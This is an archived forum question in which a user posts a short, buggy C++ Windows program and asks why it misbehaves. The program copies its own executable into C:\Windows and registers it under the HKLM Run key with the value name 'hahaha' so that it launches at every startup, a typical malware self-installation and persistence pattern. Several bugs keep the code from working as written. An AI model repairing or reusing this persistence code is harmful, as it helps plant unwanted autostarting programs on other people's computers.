what does this code do

This program is supposed to move itself to to C:\\Windows\\projekt1.exe if it isn't allready there. Then it shall write a registry value if it is not allready writen. It compiles but it does something else. Do you know what I have done wrong?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <windows.h>
#include <stdio.h>
#include <iostream>
#include <fstream>

using namespace std;

int main(){
    HKEY hkey;
    char *dir1;
    GetModuleFileName(NULL, dir1, 255);
    const char dir2[] = "C:\\Windows\\projekt1.exe";
    if(!GetFileAttributes(dir2)){
        CopyFile(dir1, dir2, FALSE);
    }
    long a = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0, KEY_READ, &hkey);
    if(a == ERROR_NO_MATCH || a == ERROR_FILE_NOT_FOUND){
        LONG b = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hkey);
        RegSetValueEx(hkey, "hahaha", 0, REG_SZ, (BYTE*) dir2, strlen(dir2));
        RegCloseKey(hkey);
    }
}
Topic archived. No new replies allowed.